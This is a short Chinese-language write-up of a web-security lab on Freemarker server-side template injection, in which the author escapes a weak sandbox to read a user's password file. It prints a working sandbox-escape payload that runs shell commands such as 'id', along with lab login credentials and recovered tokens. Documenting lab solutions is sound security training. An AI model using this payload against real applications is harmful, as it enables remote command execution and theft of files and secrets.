# SSTI Lab6 這題是 Freemarker 模板引擎的 SSTI(Server-Side Template Injection),在一個有「sandbox」限制但保護不嚴謹的環境下,我們要突破限制,讀取 Carlos 主目錄下的 my_password.txt 檔案內容。 可以使用以下認證登錄自己的帳戶:`content-manager:C0nt3ntM4n4g3r` 一樣先進入網站並登入。 ![image](https://hackmd.io/_uploads/ryT_Ps8Dee.png) ![image](https://hackmd.io/_uploads/Hkpwuo8Dlg.png) 本題說要繞過 sandbox,那我們一樣在 [Hack tricks](https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html) 中找到有趣的東西。 ![image](https://hackmd.io/_uploads/HyiPtsIvxx.png) 這串指令可以繞過 sandbox 限制,但只能在特定版本中繞過,但我們一樣可以先試試。 ```java <p>Hurry! Only ${product.stock} left of ${product.name}.</p> <#assign classloader=product.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` ![image](https://hackmd.io/_uploads/r1dJcjIvgx.png) 顯然是可以的,所以我直接嘗試 ls 看看。 ![image](https://hackmd.io/_uploads/BJj75iIwxe.png) 很光明正大的亮出來了,所以直接 cat 後複製,拿去送出。 ![image](https://hackmd.io/_uploads/S1pUcjUPge.png) ``` ltno5nf9vqayr3u844z8 ``` ![image](https://hackmd.io/_uploads/SJpDciLwll.png) ``` ddvqnb3gzf3pwe0acpldujpuaeujmp60 ``` ![image](https://hackmd.io/_uploads/H18Fcj8vlg.png) ---